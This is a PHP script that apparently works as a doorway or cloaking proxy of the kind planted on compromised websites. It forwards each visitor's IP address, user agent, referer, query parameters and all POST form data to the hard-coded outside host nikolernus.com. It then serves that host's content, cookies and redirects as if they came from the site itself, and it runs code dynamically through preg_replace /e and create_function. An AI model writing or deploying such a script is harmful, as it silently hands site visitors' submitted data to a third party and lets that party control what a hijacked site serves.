<?php
//error_reporting(E_ALL);

//ini_set("display_errors", 1);



/**

 * Function that parses http headers into array

 *

 * @param $header

 * @return array

 */



if (!function_exists('http_parse_headers')) {

    function http_parse_headers( $header )

    {

        $retVal = array();

        $fields = explode("\n", preg_replace('/\n[\n ]+/', ' ', $header));

        foreach( $fields as $field ) {

            if( preg_match('/([^:]+): (.+)/m', $field, $match) ) {

                $match[1] = preg_replace('/(?<=^|[   -])./e', 'strtoupper("\00")', strtolower(trim($match[1])));

                if( isset($retVal[$match[1]]) ) {

                    $retVal[$match[1]] = array($retVal[$match[1]], $match[2]);

                } else {

                    $retVal[$match[1]] = trim($match[2]);

                }

            }

        }

        return $retVal;

    }

}



if (!function_exists('http_response_code')) {

    function http_response_code($code = NULL) {



        if ($code !== NULL) {



            switch ($code) {

                case 200: $text = 'OK'; break;

                case 301: $text = 'Moved Permanently'; break;

                case 304: $text = 'Not Modified'; break;

                case 400: $text = 'Bad Request'; break;

                case 403: $text = 'Forbidden'; break;

                case 404: $text = 'Not Found'; break;

                case 408: $text = 'Request Time-out'; break;

                case 410: $text = 'Gone'; break;

                case 500: $text = 'Internal Server Error'; break;

                case 502: $text = 'Bad Gateway'; break;

                case 503: $text = 'Service Unavailable'; break;

                case 504: $text = 'Gateway Time-out'; break;

                default:  $text = '';

            }



            $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');



            header($protocol . ' ' . $code . ' ' . $text);



        }

    }

}



$folder = str_replace($_SERVER['DOCUMENT_ROOT'], '', dirname($_SERVER['SCRIPT_FILENAME']));



$params = array('domain' => $_SERVER['HTTP_HOST'].$folder, 'ip' => getIp());



$uri = isset($_GET['id'])?$_GET['id']:'';



unset($_GET['id']);



$params = array_merge($params, $_GET);



if(!function_exists('curl_init')){

    die('no curl');

}



$ch = curl_init('http://nikolernus.com/'.$uri.'?'.http_build_query($params));



curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

curl_setopt($ch, CURLOPT_HEADER, true);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

//If we got referer, i.e. we are requesting css,js,images we put it in curl referer

if(isset($_SERVER['HTTP_REFERER']))

{

    curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER'] );

}

//Mechanism for post data transitions

if($_SERVER['REQUEST_METHOD'] == 'POST')

{

    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST));

}



$response = curl_exec($ch);



$info = curl_getinfo($ch);



curl_close($ch);



$header = substr($response, 0, $info['header_size']);



$headers = http_parse_headers($header);



http_response_code($info['http_code']);



if(isset($headers['Content-Type']))

{

    header('Content-Type: '.$headers['Content-Type']);

}

if(isset($headers['Set-Cookie']))

{

    header('Set-Cookie: '.$headers['Set-Cookie']);

}



if(isset($headers['Location'])){

    header('Location:'.$headers['Location']);

}



$body = substr($response, $info['header_size'], $info['size_download']);



if( strpos($info['content_type'] ,'text/html') === 0){

    $body = fix_dirs($body, $folder);

}



echo $body;





function fix_dirs($html, $dir){



    $dir = rtrim($dir, '/');



    $GLOBALS['dir'] = $dir;



    return preg_replace_callback("#(href=[\'\"]{1}|src=[\'\"])(.*?)([\'\"])#i", create_function('$m','



        $s = $m[1];



        if(strpos($m[2],"http://") !== 0 && strpos($m[2],"//") !== 0){



            $s .= $GLOBALS["dir"];



        }



        $s .= $m[2].$m[3];



        return $s;



    '), $html);



}



function getIp()

{

    if(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] != $_SERVER['SERVER_ADDR'])

    {

        return $_SERVER['REMOTE_ADDR'];

    }



    if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != $_SERVER['SERVER_ADDR'])

    {

        return $_SERVER['HTTP_X_FORWARDED_FOR'];

    }



    if(isset($_SERVER['HTTP_X_REAL_IP']) && $_SERVER['HTTP_X_REAL_IP'] != $_SERVER['SERVER_ADDR'])

    {

        return $_SERVER['HTTP_X_REAL_IP'];

    }



    return $_SERVER['REMOTE_ADDR'];

}



;return 1;